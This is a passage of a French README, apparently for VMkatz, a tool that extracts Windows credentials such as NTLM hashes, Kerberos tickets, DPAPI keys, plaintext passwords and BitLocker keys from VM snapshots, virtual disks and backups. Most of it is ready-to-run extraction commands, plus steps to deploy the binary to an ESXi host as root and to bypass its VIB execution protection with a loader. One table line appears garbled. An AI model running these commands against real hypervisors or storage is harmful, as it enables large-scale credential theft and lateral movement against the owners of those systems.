
Extraire les identifiants Windows directement depuis les instantanés de mémoire de machines virtuelles et les disques virtuels
Vous êtes à trois semaines d'un engagement red team. Vous atterrissez sur un NAS rattaché au cluster de virtualisation — des centaines de gigaoctets de .vmdk, .vmsn, .sav juste là. Mais votre lien fait 200 Ko/s. Exfiltrer un seul disque de 100 Go prendrait six jours.
VMkatz existe parce que vous ne devriez pas avoir à exfiltrer ce que vous pouvez lire sur place. Il extrait les identifiants Windows directement depuis les fichiers de VM — instantanés mémoire, disques virtuels, sauvegardes Veeam : hashes NTLM, tickets Kerberos, clés maîtresses DPAPI, secrets LSA, NTDS.dit, clés BitLocker, secrets de navigateur.
Binaire statique unique, ~3 Mo. Déposez-le sur l'hôte ESXi, le nœud Proxmox ou le NAS. Pointez-le vers un dossier de VM et repartez avec des identifiants, pas des images disque.
Les 9 fournisseurs d'identifiants SSP que mimikatz implémente :
| Fournisseur | Données | Remarques |
|---|---|---|
| MSV1_0 | Hashes NT/LM, SHA1 | Repli par analyse physique pour les entrées paginées |
| WDigest | Mots de passe en clair | Parcours de liste chaînée + repli sur .data |
| Kerberos | Clés AES/RC4/DES, tickets (.kirbi/.ccache) | Parcours d'arbre AVL + carving de tickets pour les sessions libérées |
| TsPkg | Mots de passe en clair | Sessions RDP uniquement |
| DPAPI | Cache de clés maîtresses (GUID + clé déchiffrée) | Clé maîtresse SHA1 pour déchiffrement DPAPI hors ligne |
| SSP | Identifiants en clair | SspCredentialList dans msv1_0.dll |
| LiveSSP | Identifiants en clair | Nécessite livessp.dll (rare après Win8) |
| Credman | Identifiants stockés | Énumération par table de hachage + liste simple |
| CloudAP | Jetons Azure AD | Généralement vide pour une connexion locale uniquement |
En plus : extraction de la FVEK BitLocker depuis la mémoire (analyse des pool tags FVEc/Cngb).
$DPAPImk$ — modes 15300/15310/15900/15910)| Format | Extensions | Source | Statut |
|---|---|---|---|
| Instantanés VMware | .vmsn + .vmem | Workstation, ESXi | Testé |
| Instantanés intégrés VMware | .vmsn (sans .vmem) | ESXi suspend | Testé |
| États sauvegardés VirtualBox | .sav | VirtualBox | Testé |
| États savevm QEMU/KVM | détection automatique | Proxmox, QEMU | Testé |
| Core dumps ELF QEMU/KVM | .elf | virsh dump | Testé |
| États sauvegardés Hyper-V | .vmrs | Hyper-V 2016+ | Testé |
| Sauvegardes Veeam | .vbk, .vib, .vrb | Veeam B&R | Testé |
| Disques virtuels VMware | .vmdk (sparse + flat) | Workstation, ESXi | Testé |
| Disques virtuels VirtualBox | .vdi | VirtualBox | Testé |
| Disques virtuels QEMU/KVM | .qcow2 | QEMU, Proxmox | Testé |
| Disques virtuels Hyper-V | .vhdx, .vhd | Hyper-V | Testé |
| Périphériques SCSI bruts VMFS-5/6 | /dev/disks/... | ESXi (contourne les verrous de fichiers) | Testé |
| Périphériques blocs LVM | /dev/... | Proxmox LVM-thin | Testé |
| Ruches de registre brutes | SAM, SYSTEM, SECURITY | reg save | Testé |
| NTDS.dit brut | ntds.dit + SYSTEM | Contrôleur de domaine | Testé |
| Minidump LSASS | .dmp | procdump, Gestionnaire des tâches | Testé |
| Répertoires de VM | n'importe quel dossier | Découvre automatiquement tous les fichiers | Testé |
OS cibles : de Windows Server 2003 à Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| Format | Option | Description |
|---|---|---|
text | --format text (par défaut) | Vidage complet des identifiants avec métadonnées de session |
brief | --format brief | Résumé compact d'une ligne par identifiant |
ntlm | --format ntlm | Format pwdump DOMAIN\user:::hash::: |
hashcat | --format hashcat | Hashes bruts : mode 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Lisible par machine, tous les champs |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Lorsque la protection VIB (execInstalledOnly) est activée, utilisez le chargeur Python — inutile de désactiver ce paramètre :
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Voir docs/esxi.md pour les détails du contournement VIB, l'accès aux périphériques bruts VMFS et la découverte automatique.
VMkatz est modulaire. Les fonctionnalités peuvent être activées/désactivées au moment de la compilation :